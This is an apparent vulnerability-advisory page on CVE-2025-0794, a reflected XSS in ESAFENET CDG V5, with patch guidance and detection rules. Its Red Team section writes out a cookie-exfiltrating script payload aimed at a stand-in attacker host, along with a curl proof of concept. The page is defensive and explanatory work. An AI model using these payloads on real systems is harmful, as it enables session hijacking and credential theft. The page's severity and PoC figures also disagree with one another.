☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-0794

CVE-2025-0794 Cross-Site Scripting in Esafenet
📅 PUBLISHED: 2025-01-29 00:31 UTC 🔄 UPDATED: 2026-09-23 20:31 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-0794 is a reflected Cross-Site Scripting (XSS) vulnerability in ESAFENET CDG V5, specifically within the /todoDetail.jsp endpoint. The vulnerability allows an unauthenticated remote attacker to inject arbitrary JavaScript into the curpage parameter, which is then reflected back to the victim's browser without proper sanitization or encoding. This can lead to session hijacking, credential theft, or defacement. The vendor has been unresponsive, and no official patch exists. The exploit has been publicly disclosed, increasing the risk of active exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – Victim must click a crafted link.
  • Scope: Changed (S:C) – Impact can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of content.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. However, the lack of a patch and public exploit details elevate the risk for organizations using ESAFENET CDG V5.

Deep Dive & Mechanics

The vulnerability resides in the /todoDetail.jsp page of ESAFENET CDG V5. The curpage parameter is taken directly from the HTTP request and embedded into the HTML response without proper output encoding. An attacker can craft a URL such as:

http://target/cdg/todoDetail.jsp?curpage=<script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the victim's session with the CDG application. This can be used to steal session cookies, redirect to malicious sites, or perform actions on behalf of the victim.

The root cause is the lack of input validation and output encoding for the curpage parameter. The application likely uses request.getParameter("curpage") and directly writes it into the response without using a context-aware encoding function (e.g., StringEscapeUtils.escapeHtml()).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String curpage = request.getParameter("curpage");
%>
...
<input type="hidden" name="curpage" value="<%= curpage %>">

Patched Code (Conceptual):

<%@ page import="org.apache.commons.lang3.StringEscapeUtils" %>
<%
String curpage = request.getParameter("curpage");
String safeCurpage = StringEscapeUtils.escapeHtml4(curpage);
%>
...
<input type="hidden" name="curpage" value="<%= safeCurpage %>">

The patched version uses StringEscapeUtils.escapeHtml4() to encode HTML special characters, preventing script injection. Alternatively, a context-aware output encoding library like OWASP Java Encoder should be used.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target running ESAFENET CDG V5.
  • A web browser or tool like curl.

Exploitation Steps:

  1. Craft a malicious URL:
    http://target/cdg/todoDetail.jsp?curpage=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  2. Send the link to a victim (e.g., via email or social engineering).
  3. When the victim clicks the link, the script executes and sends their session cookie to the attacker's server.

Proof of Concept (PoC) using curl:

curl -v "http://target/cdg/todoDetail.jsp?curpage=<script>alert('XSS')</script>"

Blue Team

Detection:

  • Monitor web server logs for requests to /todoDetail.jsp with suspicious curpage parameters containing <script>, onerror=, or other XSS payloads.
  • Use a Web Application Firewall (WAF) to block requests with malicious patterns in the curpage parameter.

Mitigation:

  • Apply input validation: Only allow alphanumeric characters and a limited set of safe characters (e.g., digits, commas, hyphens) in the curpage parameter.
  • Implement output encoding: Use a library like OWASP Java Encoder to encode all user-controlled data before rendering in HTML.
  • If possible, upgrade to a patched version of CDG (if one becomes available).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /todoDetail.jsp with curpage parameter containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
    • Outbound connections from the CDG server to unknown IP addresses on common ports (80, 443) shortly after a user accesses a crafted link.
  • Host IOCs:

    • Unusual entries in web server access logs (e.g., GET /cdg/todoDetail.jsp?curpage=<script>...).
    • Presence of unexpected JavaScript files or modified HTML files in the CDG web root.
  • File IOCs:

    • Suspicious files in the CDG installation directory (e.g., /cdg/todoDetail.jsp modified with backdoors).

Detection Engineering

YARA Rule

rule CVE_2025_0794_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-0794 in ESAFENET CDG V5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0794"
    strings:
        $xss_payload = /curpage=.*<script[^>]*>.*<\/script>/i
        $xss_payload2 = /curpage=.*onerror\s*=/i
        $xss_payload3 = /curpage=.*alert\s*\(/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-0794 XSS Attempt on ESAFENET CDG
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to /todoDetail.jsp with XSS payloads in the curpage parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/cdg/todoDetail.jsp'
        cs-uri-query|contains: 'curpage='
    keywords:
        - '<script'
        - 'onerror='
        - 'alert('
        - 'prompt('
        - 'confirm('
    condition: selection and keywords
falsepositives:
    - Legitimate use of 'curpage' parameter with safe values (e.g., numbers)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0794 XSS Attempt on ESAFENET CDG"; flow:to_server,established; content:"GET"; http_method; content:"/todoDetail.jsp"; http_uri; content:"curpage="; http_uri; pcre:"/curpage=.*(<script|onerror|alert|prompt|confirm)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Input Validation: Restrict the curpage parameter to only accept numeric values (e.g., ^[0-9]+$). This is the most effective short-term fix.
  2. Output Encoding: If input validation is not possible, ensure all user-supplied data is HTML-encoded before rendering. Use a library like OWASP Java Encoder.
  3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in the curpage parameter.

Long-Term Actions:

  1. Vendor Engagement: Continue to pressure ESAFENET for an official patch. If unresponsive, consider migrating to an alternative solution.
  2. Code Review: Perform a security audit of all JSP files in the CDG application to identify similar vulnerabilities.
  3. Security Training: Educate developers on secure coding practices, especially regarding XSS prevention.

Workaround:

  • If source code access is available, manually patch the /todoDetail.jsp file to sanitize the curpage parameter as shown in the "Patched Code" section.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-0794/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.